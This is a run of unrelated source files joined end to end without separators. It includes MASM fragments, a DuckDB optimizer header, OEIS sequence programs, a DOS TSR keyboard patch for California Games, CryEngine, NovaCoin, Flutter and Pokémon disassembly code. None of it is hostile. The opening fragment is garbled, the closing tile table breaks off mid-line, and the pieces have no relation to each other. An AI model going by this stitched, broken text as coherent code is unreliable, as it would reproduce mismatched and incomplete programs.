PrintGridRow, ADDR leftChar, ADDR rightChar, ADDR middleChar, ADDR dividerChar, ADDR cellWidth call CRLF ; Reset text color pop eax call SetTextColor popad RET 4 DisplayGrid endp GetPlayMove proc playerType:ptr byte, choice:ptr byte END main
//===----------------------------------------------------------------------===// // DuckDB // // duckdb/optimizer/join_order_optimizer.hpp // // //===----------------------------------------------------------------------===// #pragma once #include "duckdb/common/unordered_map.hpp" #include "duckdb/common/unordered_set.hpp" #include "duckdb/optimizer/join_order/query_graph.hpp" #include "duckdb/optimizer/join_order/join_relation.hpp" #include "duckdb/parser/expression_map.hpp" #include "duckdb/planner/logical_operator.hpp" #include "duckdb/planner/logical_operator_visitor.hpp" #include <functional> namespace duckdb { class JoinOrderOptimizer { public: //! Represents a node in the join plan struct JoinNode { JoinRelationSet *set; NeighborInfo *info; idx_t cardinality; idx_t cost; JoinNode *left; JoinNode *right; //! Create a leaf node in the join tree JoinNode(JoinRelationSet *set, idx_t cardinality) : set(set), info(nullptr), cardinality(cardinality), cost(cardinality), left(nullptr), right(nullptr) { } //! Create an intermediate node in the join tree JoinNode(JoinRelationSet *set, NeighborInfo *info, JoinNode *left, JoinNode *right, idx_t cardinality, idx_t cost) : set(set), info(info), cardinality(cardinality), cost(cost), left(left), right(right) { } }; public: //! Perform join reordering inside a plan unique_ptr<LogicalOperator> Optimize(unique_ptr<LogicalOperator> plan); private: //! The total amount of join pairs that have been considered idx_t pairs = 0; //! Set of all relations considered in the join optimizer vector<unique_ptr<SingleJoinRelation>> relations; //! A mapping of base table index -> index into relations array (relation number) unordered_map<idx_t, idx_t> relation_mapping; //! A structure holding all the created JoinRelationSet objects JoinRelationSetManager set_manager; //! The set of edges used in the join optimizer QueryGraph query_graph; //! The optimal join plan found for the specific JoinRelationSet* unordered_map<JoinRelationSet *, unique_ptr<JoinNode>> plans; //! The set of filters extracted from the query graph vector<unique_ptr<Expression>> filters; //! The set of filter infos created from the extracted filters vector<unique_ptr<FilterInfo>> filter_infos; //! A map of all expressions a given expression has to be equivalent to. This is used to add "implied join edges". //! i.e. in the join A=B AND B=C, the equivalence set of {B} is {A, C}, thus we can add an implied join edge {A <-> //! C} expression_map_t<vector<FilterInfo *>> equivalence_sets; //! Extract the bindings referred to by an Expression bool ExtractBindings(Expression &expression, unordered_set<idx_t> &bindings); //! Traverse the query tree to find (1) base relations, (2) existing join conditions and (3) filters that can be //! rewritten into joins. Returns true if there are joins in the tree that can be reordered, false otherwise. bool ExtractJoinRelations(LogicalOperator &input_op, vector<LogicalOperator *> &filter_operators, LogicalOperator *parent = nullptr); //! Emit a pair as a potential join candidate. Returns the best plan found for the (left, right) connection (either //! the newly created plan, or an existing plan) JoinNode *EmitPair(JoinRelationSet *left, JoinRelationSet *right, NeighborInfo *info); //! Tries to emit a potential join candidate pair. Returns false if too many pairs have already been emitted, //! cancelling the dynamic programming step. bool TryEmitPair(JoinRelationSet *left, JoinRelationSet *right, NeighborInfo *info); bool EnumerateCmpRecursive(JoinRelationSet *left, JoinRelationSet *right, unordered_set<idx_t> exclusion_set); //! Emit a relation set node bool EmitCSG(JoinRelationSet *node); //! Enumerate the possible connected subgraphs that can be joined together in the join graph bool EnumerateCSGRecursive(JoinRelationSet *node, unordered_set<idx_t> &exclusion_set); //! Rewrite a logical query plan given the join plan unique_ptr<LogicalOperator> RewritePlan(unique_ptr<LogicalOperator> plan, JoinNode *node); //! Generate cross product edges inside the side void GenerateCrossProducts(); //! Perform the join order solving void SolveJoinOrder(); //! Solve the join order exactly using dynamic programming. Returns true if it was completed successfully (i.e. did //! not time-out) bool SolveJoinOrderExactly(); //! Solve the join order approximately using a greedy algorithm void SolveJoinOrderApproximately(); unique_ptr<LogicalOperator> ResolveJoinConditions(unique_ptr<LogicalOperator> op); std::pair<JoinRelationSet *, unique_ptr<LogicalOperator>> GenerateJoins(vector<unique_ptr<LogicalOperator>> &extracted_relations, JoinNode *node); }; } // namespace duckdb
; A159693: Partial sums of A000463. ; 1,2,4,8,11,20,24,40,45,70,76,112,119,168,176,240,249,330,340,440,451,572,584,728,741,910,924,1120,1135,1360,1376,1632,1649,1938,1956,2280,2299,2660,2680,3080,3101,3542,3564,4048,4071,4600,4624,5200,5225,5850,5876,6552,6579,7308,7336,8120,8149,8990,9020,9920,9951,10912,10944,11968,12001,13090,13124,14280,14315,15540,15576,16872,16909,18278,18316,19760,19799,21320,21360,22960,23001,24682,24724,26488,26531,28380,28424,30360,30405,32430,32476,34592,34639,36848,36896,39200,39249,41650,41700,44200 mov $1,2 add $1,$0 mov $2,$1 lpb $0 sub $0,1 add $3,$1 sub $1,$0 trn $0,1 add $1,$2 sub $1,3 sub $3,3 lpe mov $1,3 add $3,$2 add $3,1 add $1,$3 sub $1,5 mov $0,$1
; A132367: Period 6: repeat [1, 1, 2, -1, -1, -2]. ; 1,1,2,-1,-1,-2,1,1,2,-1,-1,-2,1,1,2,-1,-1,-2,1,1,2,-1,-1,-2,1,1,2,-1,-1,-2,1,1,2,-1,-1,-2,1,1,2,-1,-1,-2,1,1,2,-1,-1,-2,1,1,2,-1,-1,-2,1,1,2,-1,-1,-2,1,1,2,-1,-1,-2,1,1,2,-1,-1,-2,1,1,2,-1,-1,-2,1,1,2,-1,-1,-2,1,1,2,-1,-1,-2,1,1,2,-1,-1,-2,1,1,2,-1,-1,-2 mul $0,2 div $0,3 mod $0,4 mov $1,4 mov $2,$0 sub $2,1 add $0,$2 mul $0,$2 lpb $0 sub $3,5 add $3,$1 div $3,3 mov $0,$3 mov $1,2 sub $1,$2 lpe sub $1,2
;Start of Patch.ASM Code Segment Byte Public Assume Cs:Code, Ds:Code Org 100h ; ; California Games TSR Patch ; See problem statement here: http://www.vogons.org/viewtopic.php?t=12251 ; Patch hooks INT21/25 and waits for game to try and hook INT16. It then saves ; the game's INT16 location and doesn't really allow the hook. ; In parallel, patch hooks INT16, and if 0x10<=AH<=0x12, turns AH to 0x0/0x1/0x2 respectively, ; and calls the game's intended INT16. ; Start: mov dx,Offset Welcome ; Greets =) call Print ; INT16 hook must come before INT21 hook in this case, ; so that our new INT21 won't perform the "INT16 is being hooked" logic ; that should be executed only when the game tries to hook INT16 mov ax,3516h ; Get INT16 vector int 21h mov word ptr Jmp16Nfo+1,bx ; place IP of it in JMP mov word ptr Jmp16Nfo+3,es ; place CS of it in JMP mov ax,2516h ; set new INT 16 mov dx,offset myint16 ; pointer to new INT 16 int 21h mov ax,3521h ; Get INT21 vector int 21h mov word ptr Jmp21Nfo+1,bx ; place IP of it in JMP mov word ptr Jmp21Nfo+3,es ; place CS of it in JMP mov ax,2521h ; set new INT 21 mov dx,offset myint21 ; pointer to new INT 21 int 21h mov dx,offset IntHooked ; print success msg call Print mov ah,31h ; TSR Function mov dx,40h ; reserve 40 paragraphs of mem int 21h Print Proc mov ah,9 int 21h ret Print EndP ; New INT16 Procedure myint16: ; Save the registers we will use push bx mov bx,word ptr cs:[Thr16Nfo+1] ; Read their IP for INT16 cmp bx, 0 ; If 0, IP not set yet jz restore16 ; Just proceed with original INT 16 cmp ah, 10h ; Only proceed for 0x10<=AH<=0x12 jl gotoTheirInt16 cmp ah, 12h jg gotoTheirInt16 push cx ; AH -= 0x10 xor cx, cx mov cl, ah sub cx, 10h mov ah, cl pop cx jmp gotoTheirInt16 ; Call their INT16 gotoTheirInt16: pop bx ; Restore bx jmp their16 ; Continue with their INT16 (they will IRET) ; Restore the registers used for the patch restore16: pop bx jmp bye16 ; Continue with original INT 16 ; HERE'S THE START OF THE NEW INT21 myint21: cmp ah,4Ch ; is it a terminate? jnz storetheir16 ; if not, perhaps its a set interrupt command removehooks: push es ; save ES push ax ; save AX xor di,di mov es,di ; set ES to 0 mov di,84h ; 4 * 21h == 84h mov ax,word ptr cs:[Jmp21Nfo+1] ; place IP of original INT21 in bx stosw ; store AX at ES:DI and add 2 to DI mov ax,word ptr cs:[Jmp21Nfo+3] ; place CS of original INT21 in bx stosw ; store AX at ES:DI mov di,058h ; 4 * 16h == 58h mov ax,word ptr cs:[Jmp16Nfo+1] ; place IP of original INT16 in bx stosw ; store AX at ES:DI and add 2 to DI mov ax,word ptr cs:[Jmp16Nfo+3] ; place CS of original INT16 in bx stosw ; store AX at ES:DI pop ax ; restore ax pop es ; restore es jmp bye21 ; jump to INT21 storetheir16: cmp ah,25h ; is it a "Set Interrupt Vector" function? jnz bye21 ; if not, goto original INT21 cmp al, 16h ; Trying to set interrupt for INT16? jnz bye21 ; if not, goto original INT21 ; Save registers that will be used push ds push bx mov bx, ds ; Move CS to DS, since upcoming MOVs use DS push cs pop ds mov word ptr Thr16Nfo+1,dx ; place IP of their INT16 in Thr16Nfo mov word ptr Thr16Nfo+3,bx ; place CS of their INT16 in Thr16Nfo ; Restore used registers pop bx pop ds iret ; don't actually set their hook bye21: Jmp21Nfo DB 0EAh,0,0,0,0 ; EA - jump far bye16: Jmp16Nfo DB 0EAh,0,0,0,0 ; EA - jump far their16: Thr16Nfo DB 0EAh,0,0,0,0 ; EA - jump far Welcome DB 13,10,'California Games TSR Patch by Gordi!',13,10,24h IntHooked DB 'Patch successfully installed.',13,10,24h Code Ends End Start ; End of Patch.ASM
#include "StdAfx.h" #include "Wiggle.h" #include "Hermite.h" CWiggle::CWiggle() : m_frequency(1.0f) , m_time(0.0f) { m_points[0] = cry_random(-1.0f, 1.0f); m_points[1] = cry_random(-1.0f, 1.0f); m_points[2] = cry_random(-1.0f, 1.0f); m_points[3] = cry_random(-1.0f, 1.0f); } void CWiggle::SetParams(float frequency) { m_frequency = frequency; } float CWiggle::Update(float deltaTime) { m_time += deltaTime * m_frequency; while (m_time > 1.0f) { m_points[0] = m_points[1]; m_points[1] = m_points[2]; m_points[2] = m_points[3]; m_points[3] = cry_random(-1.0f, 1.0f); m_time -= 1.0f; } return CatmullRom( m_points[0], m_points[1], m_points[2], m_points[3], m_time); } void CWiggleVec3::SetParams(float frequency) { m_x.SetParams(frequency); m_y.SetParams(frequency); m_z.SetParams(frequency); } Vec3 CWiggleVec3::Update(float deltaTime) { return Vec3( m_x.Update(deltaTime), m_y.Update(deltaTime), m_z.Update(deltaTime)); }
// Copyright (c) 2009-2021 Satoshi Nakamoto // Copyright (c) 2009-2021 The Bitcoin developers // Distributed under the MIT/X11 software license, see the accompanying // file license.txt or http://www.opensource.org/licenses/mit-license.php. #include <map> #include <boost/version.hpp> #include <boost/filesystem.hpp> #include <boost/filesystem/fstream.hpp> #include <leveldb/env.h> #include <leveldb/cache.h> #include <leveldb/filter_policy.h> #include <memenv/memenv.h> #include "kernel.h" #include "checkpoints.h" #include "txdb.h" #include "util.h" #include "main.h" using namespace std; using namespace boost; leveldb::DB *txdb; // global pointer for LevelDB object instance static leveldb::Options GetOptions() { leveldb::Options options; int nCacheSizeMB = GetArg("-dbcache", 25); options.block_cache = leveldb::NewLRUCache(nCacheSizeMB * 1048576); options.filter_policy = leveldb::NewBloomFilterPolicy(10); return options; } void init_blockindex(leveldb::Options& options, bool fRemoveOld = false) { // First time init. filesystem::path directory = GetDataDir() / "txleveldb"; if (fRemoveOld) { filesystem::remove_all(directory); // remove directory unsigned int nFile = 1; while (true) { filesystem::path strBlockFile = GetDataDir() / strprintf("blk%04u.dat", nFile); // Break if no such file if( !filesystem::exists( strBlockFile ) ) break; filesystem::remove(strBlockFile); nFile++; } } filesystem::create_directory(directory); printf("Opening LevelDB in %s\n", directory.string().c_str()); leveldb::Status status = leveldb::DB::Open(options, directory.string(), &txdb); if (!status.ok()) { throw runtime_error(strprintf("init_blockindex(): error opening database environment %s", status.ToString().c_str())); } } // CDB subclasses are created and destroyed VERY OFTEN. That's why // we shouldn't treat this as a free operations. CTxDB::CTxDB(const char* pszMode) { assert(pszMode); activeBatch = NULL; fReadOnly = (!strchr(pszMode, '+') && !strchr(pszMode, 'w')); if (txdb) { pdb = txdb; return; } bool fCreate = strchr(pszMode, 'c'); options = GetOptions(); options.create_if_missing = fCreate; options.filter_policy = leveldb::NewBloomFilterPolicy(10); init_blockindex(options); // Init directory pdb = txdb; if (Exists(string("version"))) { ReadVersion(nVersion); printf("Transaction index version is %d\n", nVersion); if (nVersion < DATABASE_VERSION) { printf("Required index version is %d, removing old database\n", DATABASE_VERSION); // Leveldb instance destruction delete txdb; txdb = pdb = NULL; delete activeBatch; activeBatch = NULL; init_blockindex(options, true); // Remove directory and create new database pdb = txdb; bool fTmp = fReadOnly; fReadOnly = false; WriteVersion(DATABASE_VERSION); // Save transaction index version fReadOnly = fTmp; } } else if (fCreate) { bool fTmp = fReadOnly; fReadOnly = false; WriteVersion(DATABASE_VERSION); fReadOnly = fTmp; } printf("Opened LevelDB successfully\n"); } void CTxDB::Close() { delete txdb; txdb = pdb = NULL; delete options.filter_policy; options.filter_policy = NULL; delete options.block_cache; options.block_cache = NULL; delete activeBatch; activeBatch = NULL; } bool CTxDB::TxnBegin() { assert(!activeBatch); activeBatch = new leveldb::WriteBatch(); return true; } bool CTxDB::TxnCommit() { assert(activeBatch); leveldb::Status status = pdb->Write(leveldb::WriteOptions(), activeBatch); delete activeBatch; activeBatch = NULL; if (!status.ok()) { printf("LevelDB batch commit failure: %s\n", status.ToString().c_str()); return false; } return true; } class CBatchScanner : public leveldb::WriteBatch::Handler { public: std::string needle; bool *deleted; std::string *foundValue; bool foundEntry; CBatchScanner() : foundEntry(false) {} virtual void Put(const leveldb::Slice& key, const leveldb::Slice& value) { if (key.ToString() == needle) { foundEntry = true; *deleted = false; *foundValue = value.ToString(); } } virtual void Delete(const leveldb::Slice& key) { if (key.ToString() == needle) { foundEntry = true; *deleted = true; } } }; // When performing a read, if we have an active batch we need to check it first // before reading from the database, as the rest of the code assumes that once // a database transaction begins reads are consistent with it. It would be good // to change that assumption in future and avoid the performance hit, though in // practice it does not appear to be large. bool CTxDB::ScanBatch(const CDataStream &key, string *value, bool *deleted) const { assert(activeBatch); *deleted = false; CBatchScanner scanner; scanner.needle = key.str(); scanner.deleted = deleted; scanner.foundValue = value; leveldb::Status status = activeBatch->Iterate(&scanner); if (!status.ok()) { throw runtime_error(status.ToString()); } return scanner.foundEntry; } bool CTxDB::ReadTxIndex(uint256 hash, CTxIndex& txindex) { assert(!fClient); txindex.SetNull(); return Read(make_pair(string("tx"), hash), txindex); } bool CTxDB::UpdateTxIndex(uint256 hash, const CTxIndex& txindex) { assert(!fClient); return Write(make_pair(string("tx"), hash), txindex); } bool CTxDB::AddTxIndex(const CTransaction& tx, const CDiskTxPos& pos, int nHeight) { assert(!fClient); // Add to tx index uint256 hash = tx.GetHash(); CTxIndex txindex(pos, tx.vout.size()); return Write(make_pair(string("tx"), hash), txindex); } bool CTxDB::EraseTxIndex(const CTransaction& tx) { assert(!fClient); uint256 hash = tx.GetHash(); return Erase(make_pair(string("tx"), hash)); } bool CTxDB::ContainsTx(uint256 hash) { assert(!fClient); return Exists(make_pair(string("tx"), hash)); } bool CTxDB::ReadDiskTx(uint256 hash, CTransaction& tx, CTxIndex& txindex) { assert(!fClient); tx.SetNull(); if (!ReadTxIndex(hash, txindex)) return false; return (tx.ReadFromDisk(txindex.pos)); } bool CTxDB::ReadDiskTx(uint256 hash, CTransaction& tx) { CTxIndex txindex; return ReadDiskTx(hash, tx, txindex); } bool CTxDB::ReadDiskTx(COutPoint outpoint, CTransaction& tx, CTxIndex& txindex) { return ReadDiskTx(outpoint.hash, tx, txindex); } bool CTxDB::ReadDiskTx(COutPoint outpoint, CTransaction& tx) { CTxIndex txindex; return ReadDiskTx(outpoint.hash, tx, txindex); } bool CTxDB::WriteBlockIndex(const CDiskBlockIndex& blockindex) { return Write(make_pair(string("blockindex"), blockindex.GetBlockHash()), blockindex); } bool CTxDB::ReadHashBestChain(uint256& hashBestChain) { return Read(string("hashBestChain"), hashBestChain); } bool CTxDB::WriteHashBestChain(uint256 hashBestChain) { return Write(string("hashBestChain"), hashBestChain); } bool CTxDB::ReadBestInvalidTrust(CBigNum& bnBestInvalidTrust) { return Read(string("bnBestInvalidTrust"), bnBestInvalidTrust); } bool CTxDB::WriteBestInvalidTrust(CBigNum bnBestInvalidTrust) { return Write(string("bnBestInvalidTrust"), bnBestInvalidTrust); } bool CTxDB::ReadSyncCheckpoint(uint256& hashCheckpoint) { return Read(string("hashSyncCheckpoint"), hashCheckpoint); } bool CTxDB::WriteSyncCheckpoint(uint256 hashCheckpoint) { return Write(string("hashSyncCheckpoint"), hashCheckpoint); } bool CTxDB::ReadCheckpointPubKey(string& strPubKey) { return Read(string("strCheckpointPubKey"), strPubKey); } bool CTxDB::WriteCheckpointPubKey(const string& strPubKey) { return Write(string("strCheckpointPubKey"), strPubKey); } static CBlockIndex *InsertBlockIndex(uint256 hash) { if (hash == 0) return NULL; // Return existing map<uint256, CBlockIndex*>::iterator mi = mapBlockIndex.find(hash); if (mi != mapBlockIndex.end()) return (*mi).second; // Create new CBlockIndex* pindexNew = new CBlockIndex(); if (!pindexNew) throw runtime_error("LoadBlockIndex() : new CBlockIndex failed"); mi = mapBlockIndex.insert(make_pair(hash, pindexNew)).first; pindexNew->phashBlock = &((*mi).first); return pindexNew; } bool CTxDB::LoadBlockIndex() { if (mapBlockIndex.size() > 0) { // Already loaded once in this session. It can happen during migration // from BDB. return true; } // The block index is an in-memory structure that maps hashes to on-disk // locations where the contents of the block can be found. Here, we scan it // out of the DB and into mapBlockIndex. leveldb::Iterator *iterator = pdb->NewIterator(leveldb::ReadOptions()); // Seek to start key. CDataStream ssStartKey(SER_DISK, CLIENT_VERSION); ssStartKey << make_pair(string("blockindex"), uint256(0)); iterator->Seek(ssStartKey.str()); // Now read each entry. while (iterator->Valid()) { // Unpack keys and values. CDataStream ssKey(SER_DISK, CLIENT_VERSION); ssKey.write(iterator->key().data(), iterator->key().size()); CDataStream ssValue(SER_DISK, CLIENT_VERSION); ssValue.write(iterator->value().data(), iterator->value().size()); string strType; ssKey >> strType; // Did we reach the end of the data to read? if (fRequestShutdown || strType != "blockindex") break; CDiskBlockIndex diskindex; ssValue >> diskindex; uint256 blockHash = diskindex.GetBlockHash(); // Construct block index object CBlockIndex* pindexNew = InsertBlockIndex(blockHash); pindexNew->pprev = InsertBlockIndex(diskindex.hashPrev); pindexNew->pnext = InsertBlockIndex(diskindex.hashNext); pindexNew->nFile = diskindex.nFile; pindexNew->nBlockPos = diskindex.nBlockPos; pindexNew->nHeight = diskindex.nHeight; pindexNew->nMint = diskindex.nMint; pindexNew->nMoneySupply = diskindex.nMoneySupply; pindexNew->nFlags = diskindex.nFlags; pindexNew->nStakeModifier = diskindex.nStakeModifier; pindexNew->prevoutStake = diskindex.prevoutStake; pindexNew->nStakeTime = diskindex.nStakeTime; pindexNew->hashProof = diskindex.hashProof; pindexNew->nVersion = diskindex.nVersion; pindexNew->hashMerkleRoot = diskindex.hashMerkleRoot; pindexNew->nTime = diskindex.nTime; pindexNew->nBits = diskindex.nBits; pindexNew->nNonce = diskindex.nNonce; // Watch for genesis block if (pindexGenesisBlock == NULL && blockHash == (!fTestNet ? hashGenesisBlock : hashGenesisBlockTestNet)) pindexGenesisBlock = pindexNew; if (!pindexNew->CheckIndex()) { delete iterator; return error("LoadBlockIndex() : CheckIndex failed at %d", pindexNew->nHeight); } // NovaCoin: build setStakeSeen if (pindexNew->IsProofOfStake()) setStakeSeen.insert(make_pair(pindexNew->prevoutStake, pindexNew->nStakeTime)); iterator->Next(); } delete iterator; if (fRequestShutdown) return true; // Calculate nChainTrust vector<pair<int, CBlockIndex*> > vSortedByHeight; vSortedByHeight.reserve(mapBlockIndex.size()); BOOST_FOREACH(const PAIRTYPE(uint256, CBlockIndex*)& item, mapBlockIndex) { CBlockIndex* pindex = item.second; vSortedByHeight.push_back(make_pair(pindex->nHeight, pindex)); } sort(vSortedByHeight.begin(), vSortedByHeight.end()); BOOST_FOREACH(const PAIRTYPE(int, CBlockIndex*)& item, vSortedByHeight) { CBlockIndex* pindex = item.second; pindex->nChainTrust = (pindex->pprev ? pindex->pprev->nChainTrust : 0) + pindex->GetBlockTrust(); // NovaCoin: calculate stake modifier checksum pindex->nStakeModifierChecksum = GetStakeModifierChecksum(pindex); if (!CheckStakeModifierCheckpoints(pindex->nHeight, pindex->nStakeModifierChecksum)) return error("CTxDB::LoadBlockIndex() : Failed stake modifier checkpoint height=%d, modifier=0x%016"PRIx64, pindex->nHeight, pindex->nStakeModifier); } // Load hashBestChain pointer to end of best chain if (!ReadHashBestChain(hashBestChain)) { if (pindexGenesisBlock == NULL) return true; return error("CTxDB::LoadBlockIndex() : hashBestChain not loaded"); } if (!mapBlockIndex.count(hashBestChain)) return error("CTxDB::LoadBlockIndex() : hashBestChain not found in the block index"); pindexBest = mapBlockIndex[hashBestChain]; nBestHeight = pindexBest->nHeight; nBestChainTrust = pindexBest->nChainTrust; printf("LoadBlockIndex(): hashBestChain=%s height=%d trust=%s date=%s\n", hashBestChain.ToString().substr(0,20).c_str(), nBestHeight, CBigNum(nBestChainTrust).ToString().c_str(), DateTimeStrFormat("%x %H:%M:%S", pindexBest->GetBlockTime()).c_str()); // NovaCoin: load hashSyncCheckpoint if (!ReadSyncCheckpoint(Checkpoints::hashSyncCheckpoint)) return error("CTxDB::LoadBlockIndex() : hashSyncCheckpoint not loaded"); printf("LoadBlockIndex(): synchronized checkpoint %s\n", Checkpoints::hashSyncCheckpoint.ToString().c_str()); // Load bnBestInvalidTrust, OK if it doesn't exist CBigNum bnBestInvalidTrust; ReadBestInvalidTrust(bnBestInvalidTrust); nBestInvalidTrust = bnBestInvalidTrust.getuint256(); // Verify blocks in the best chain int nCheckLevel = GetArg("-checklevel", 1); int nCheckDepth = GetArg( "-checkblocks", 2500); if (nCheckDepth == 0) nCheckDepth = 1000000000; // suffices until the year 19000 if (nCheckDepth > nBestHeight) nCheckDepth = nBestHeight; printf("Verifying last %i blocks at level %i\n", nCheckDepth, nCheckLevel); CBlockIndex* pindexFork = NULL; map<pair<unsigned int, unsigned int>, CBlockIndex*> mapBlockPos; for (CBlockIndex* pindex = pindexBest; pindex && pindex->pprev; pindex = pindex->pprev) { if (fRequestShutdown || pindex->nHeight < nBestHeight-nCheckDepth) break; CBlock block; if (!block.ReadFromDisk(pindex)) return error("LoadBlockIndex() : block.ReadFromDisk failed"); // check level 1: verify block validity // check level 7: verify block signature too if (nCheckLevel>0 && !block.CheckBlock(true, true, (nCheckLevel>6))) { printf("LoadBlockIndex() : *** found bad block at %d, hash=%s\n", pindex->nHeight, pindex->GetBlockHash().ToString().c_str()); pindexFork = pindex->pprev; } // check level 2: verify transaction index validity if (nCheckLevel>1) { pair<unsigned int, unsigned int> pos = make_pair(pindex->nFile, pindex->nBlockPos); mapBlockPos[pos] = pindex; BOOST_FOREACH(const CTransaction &tx, block.vtx) { uint256 hashTx = tx.GetHash(); CTxIndex txindex; if (ReadTxIndex(hashTx, txindex)) { // check level 3: checker transaction hashes if (nCheckLevel>2 || pindex->nFile != txindex.pos.nFile || pindex->nBlockPos != txindex.pos.nBlockPos) { // either an error or a duplicate transaction CTransaction txFound; if (!txFound.ReadFromDisk(txindex.pos)) { printf("LoadBlockIndex() : *** cannot read mislocated transaction %s\n", hashTx.ToString().c_str()); pindexFork = pindex->pprev; } else if (txFound.GetHash() != hashTx) // not a duplicate tx { printf("LoadBlockIndex(): *** invalid tx position for %s\n", hashTx.ToString().c_str()); pindexFork = pindex->pprev; } } // check level 4: check whether spent txouts were spent within the main chain unsigned int nOutput = 0; if (nCheckLevel>3) { BOOST_FOREACH(const CDiskTxPos &txpos, txindex.vSpent) { if (!txpos.IsNull()) { pair<unsigned int, unsigned int> posFind = make_pair(txpos.nFile, txpos.nBlockPos); if (!mapBlockPos.count(posFind)) { printf("LoadBlockIndex(): *** found bad spend at %d, hashBlock=%s, hashTx=%s\n", pindex->nHeight, pindex->GetBlockHash().ToString().c_str(), hashTx.ToString().c_str()); pindexFork = pindex->pprev; } // check level 6: check whether spent txouts were spent by a valid transaction that consume them if (nCheckLevel>5) { CTransaction txSpend; if (!txSpend.ReadFromDisk(txpos)) { printf("LoadBlockIndex(): *** cannot read spending transaction of %s:%i from disk\n", hashTx.ToString().c_str(), nOutput); pindexFork = pindex->pprev; } else if (!txSpend.CheckTransaction()) { printf("LoadBlockIndex(): *** spending transaction of %s:%i is invalid\n", hashTx.ToString().c_str(), nOutput); pindexFork = pindex->pprev; } else { bool fFound = false; BOOST_FOREACH(const CTxIn &txin, txSpend.vin) if (txin.prevout.hash == hashTx && txin.prevout.n == nOutput) fFound = true; if (!fFound) { printf("LoadBlockIndex(): *** spending transaction of %s:%i does not spend it\n", hashTx.ToString().c_str(), nOutput); pindexFork = pindex->pprev; } } } } nOutput++; } } } // check level 5: check whether all prevouts are marked spent if (nCheckLevel>4) { BOOST_FOREACH(const CTxIn &txin, tx.vin) { CTxIndex txindex; if (ReadTxIndex(txin.prevout.hash, txindex)) if (txindex.vSpent.size()-1 < txin.prevout.n || txindex.vSpent[txin.prevout.n].IsNull()) { printf("LoadBlockIndex(): *** found unspent prevout %s:%i in %s\n", txin.prevout.hash.ToString().c_str(), txin.prevout.n, hashTx.ToString().c_str()); pindexFork = pindex->pprev; } } } } } } if (pindexFork && !fRequestShutdown) { // Reorg back to the fork printf("LoadBlockIndex() : *** moving best chain pointer back to block %d\n", pindexFork->nHeight); CBlock block; if (!block.ReadFromDisk(pindexFork)) return error("LoadBlockIndex() : block.ReadFromDisk failed"); CTxDB txdb; block.SetBestChain(txdb, pindexFork); } return true; }
/* * Copyright (C) 2011 Google Inc. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * Neither the name of Google Inc. nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "flutter/sky/engine/core/rendering/OrderIterator.h" #include "flutter/sky/engine/core/rendering/RenderBox.h" namespace blink { OrderIterator::OrderIterator(const RenderBox* containerBox) : m_containerBox(containerBox) , m_currentChild(0) , m_isReset(false) { } RenderBox* OrderIterator::first() { reset(); return next(); } RenderBox* OrderIterator::next() { do { if (!m_currentChild) { if (m_orderValuesIterator == m_orderValues.end()) return 0; if (!m_isReset) { ++m_orderValuesIterator; if (m_orderValuesIterator == m_orderValues.end()) return 0; } else { m_isReset = false; } m_currentChild = m_containerBox->firstChildBox(); } else { m_currentChild = m_currentChild->nextSiblingBox(); } } while (!m_currentChild || m_currentChild->style()->order() != *m_orderValuesIterator); return m_currentChild; } void OrderIterator::reset() { m_currentChild = 0; m_orderValuesIterator = m_orderValues.begin(); m_isReset = true; } OrderIteratorPopulator::~OrderIteratorPopulator() { m_iterator.reset(); } void OrderIteratorPopulator::collectChild(const RenderBox* child) { m_iterator.m_orderValues.insert(child->style()->order()); } } // namespace blink
tilecoll WALL, WALL, WALL, WALL ; 00 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 01 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 02 tilecoll FLOOR, FLOOR, WARP_CARPET_DOWN, WARP_CARPET_DOWN ; 03 tilecoll WALL, WALL, WALL, FLOOR ; 04 tilecoll WALL, WALL, FLOOR, FLOOR ; 05 tilecoll WALL, WALL, FLOOR, WALL ; 06 tilecoll WALL, WALL, WALL, WALL ; 07 tilecoll WALL, FLOOR, WALL, FLOOR ; 08 tilecoll FLOOR, FLOOR, PIT, FLOOR ; 09 tilecoll FLOOR, WALL, FLOOR, WALL ; 0a tilecoll FLOOR, FLOOR, WALL, FLOOR ; 0b tilecoll WALL, FLOOR, WALL, WALL ; 0c tilecoll FLOOR, FLOOR, WALL, WALL ; 0d tilecoll FLOOR, WALL, WALL, WALL ; 0e tilecoll WALL, FLOOR, FLOOR, FLOOR ; 0f tilecoll WALL, FLOOR, WALL, FLOOR ; 10 tilecoll FLOOR, WALL, FLOOR, FLOOR ; 11 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 12 tilecoll FLOOR, FLOOR, FLOOR, WALL ; 13 tilecoll WALL, WALL, WALL, WALL ; 14 tilecoll WALL, WALL, FLOOR, FLOOR ; 15 tilecoll LADDER, LADDER, FLOOR, FLOOR ; 16 tilecoll WALL, WALL, WALL, WALL ; 17 tilecoll FLOOR, FLOOR, WALL, WALL ; 18 tilecoll FLOOR, FLOOR, WALL, WALL ; 19 tilecoll FLOOR, WALL, FLOOR, WALL ; 1a tilecoll WALL, FLOOR, WALL, WALL ; 1b tilecoll FLOOR, FLOOR, WARP_CARPET_DOWN, WARP_CARPET_DOWN ; 1c tilecoll WALL, 